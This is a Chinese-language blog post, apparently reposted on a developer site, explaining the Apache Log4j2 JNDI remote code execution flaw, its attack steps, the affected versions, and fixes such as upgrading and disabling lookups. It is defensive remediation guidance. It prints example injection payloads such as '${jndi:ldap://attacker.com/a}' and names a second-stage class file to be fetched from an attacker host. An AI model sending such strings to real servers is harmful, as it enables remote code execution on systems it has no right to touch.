我是靠谱客的博主 干净棒棒糖,最近开发中收集的这篇文章主要介绍Apache Log4j2 远程代码执行漏洞修复,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

  • 漏洞描述

使用Apache Log4j2 记录日志的时候,会使用这样的格式logger.info("params: {}", params);,进行组装,log4j2 底层在进行组装的时候,如果发现传入的 params  当中含有${} 字符串的话会进行替换的时候会执行 lookup 的操作,所谓的 lookup 的操作就是允许通过 JNDI检索变量。

通过 JNDI 注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码,想想就很恐怖!也就是说当 params 中的参数包含一些特定的字符的时候,就会触发这个漏洞,这种字符数格式比如:${jndi:ldap://xxxxxx},${jndi:rmi://xxxxxx} 其中xxxxxx 表示黑客的服务地址。

黑客通过构造这样的字符串来访问目标网站,只要程序通过 log4j2 将日志进行记录,不管是什么级别,就会将 log4j2 的 lookup 功能触发,然后就会通过 RMI 访问黑客的服务地址,黑客通过这个服务输出一个 class 字节码文件,这个字节码文件里面可以执行任何内容,相当于把这个服务器都交给黑客了,后果可想而知!

  • 攻击原理 

  • 攻击步骤
  1. 攻击者向漏洞服务器发起攻击请求。
  2. 服务器通过Log4j2记录攻击请求中包含的基于JNDILDAP的恶意负载${jndi:ldap://attacker.com/a}attacker.com是攻击者控制的地址。
  3. 记录的恶意负载被触发,服务器通过JNDIattacker.com请求。
  4. attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class
  5. 攻击者执行恶意脚本。
  • 受影响版本和已知组件

受影响版本:  Apache Log4j 2.x <= 2.14.1

可能受影响组件:

  1. Spring-Boot-strater-log4j2
  2. Apache Struts2
  3. Apache Solr
  4. Apache Flink
  5. Apache Druid
  6. ElasticSearch
  7. flume
  8. dubbo
  9. Redis
  10. logstash
  11. kafka
  • 解决方案

Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.15.0-rc2 版本,同时升级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2Apache SolrApache FlinkApache Druid

  1. 搜索依赖

可以先在pom直接搜索或者直接在pom目录使用mvn dependency:tree>tree.txt命令进行导出依赖树结构,进行检索log4j*.jar包依赖

  1. log4j的依赖进行升级

<dependency>

    <groupId>org.apache.logging.log4j</groupId>

    <artifactId>log4j-core</artifactId>

    <version>2.15.0</version>

</dependency>

<dependency>

    <groupId>org.apache.logging.log4j</groupId>

    <artifactId>log4j-api</artifactId>

    <version>2.15.0</version>

</dependency>

  1. 将其他jar包依赖下的log4j进行排除依赖

<exclusions>
       <exclusion>
          <groupId>org.apache.logging.log4j</groupId>
             <artifactId>log4j-api</artifactId>
        </exclusion>
        <exclusion>
           <groupId>org.apache.logging.log4j</groupId>
           <artifactId>log4j-core</artifactId>
       </exclusion>
</exclusions>

  • 临时解决方案

若暂时无法升级,可先用以下方法进行临时缓解:

(1) 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true

(2) 修改配置log4j2.formatMsgNoLookups=True

(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

最后

以上就是干净棒棒糖为你收集整理的Apache Log4j2 远程代码执行漏洞修复的全部内容,希望文章能够帮你解决Apache Log4j2 远程代码执行漏洞修复所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(78)

评论列表共有 0 条评论

立即
投稿
返回
顶部